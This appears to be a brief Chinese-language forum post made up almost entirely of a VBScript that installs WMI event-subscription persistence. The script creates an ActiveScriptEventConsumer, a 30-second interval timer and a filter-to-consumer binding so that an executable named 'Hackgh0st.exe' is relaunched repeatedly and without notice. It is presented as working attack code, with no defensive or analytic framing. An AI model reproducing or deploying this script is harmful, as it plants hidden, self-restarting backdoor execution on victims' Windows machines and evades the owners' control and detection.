broly

最终要执行的代码

SET WshShell=Wscript.CreateObject("Wscript.Shell")
SET WshSysEnv=WshShell.Environment("Process") 
sysdir = WshSysEnv.Item("SYSTEMROOT") 
sysdir2 = mid(sysdir,1,3)
nslink="winmgmts:\\.\root\subscription:"
doorname="msoecj"
runinterval = 30000
stxt="Set objShell = CreateObject(""Wscript.Shell""):objShell.Run ""C:\\Hackgh0st.exe"""
SET asec=getobject(nslink&"ActiveScriptEventConsumer").spawninstance_
asec.name=consumer_dol
asec.scriptingengine="vbscript"
asec.scripttext=stxt
SET asecpath=asec.put_
SET itimer=getobject(nslink&"__IntervalTimerInstruction").spawninstance_
itimer.timerid=doorname&"_itimer"
itimer.intervalbetweenevents=runinterval
itimer.skipifpassed=false
itimer.put_
SET evtflt=getobject(nslink&"__EventFilter").spawninstance_
evtflt.name=filter_gfl
evtflt.query="select * from __timerevent where timerid="""&doorname&"_itimer"""
evtflt.querylanguage="wql"
SET fltpath=evtflt.put_
SET fcbnd=getobject(nslink&"__FilterToConsumerBinding").spawninstance_
fcbnd.consumer=asecpath.path
fcbnd.filter=fltpath.path
fcbnd.put_
int 922921
复制代码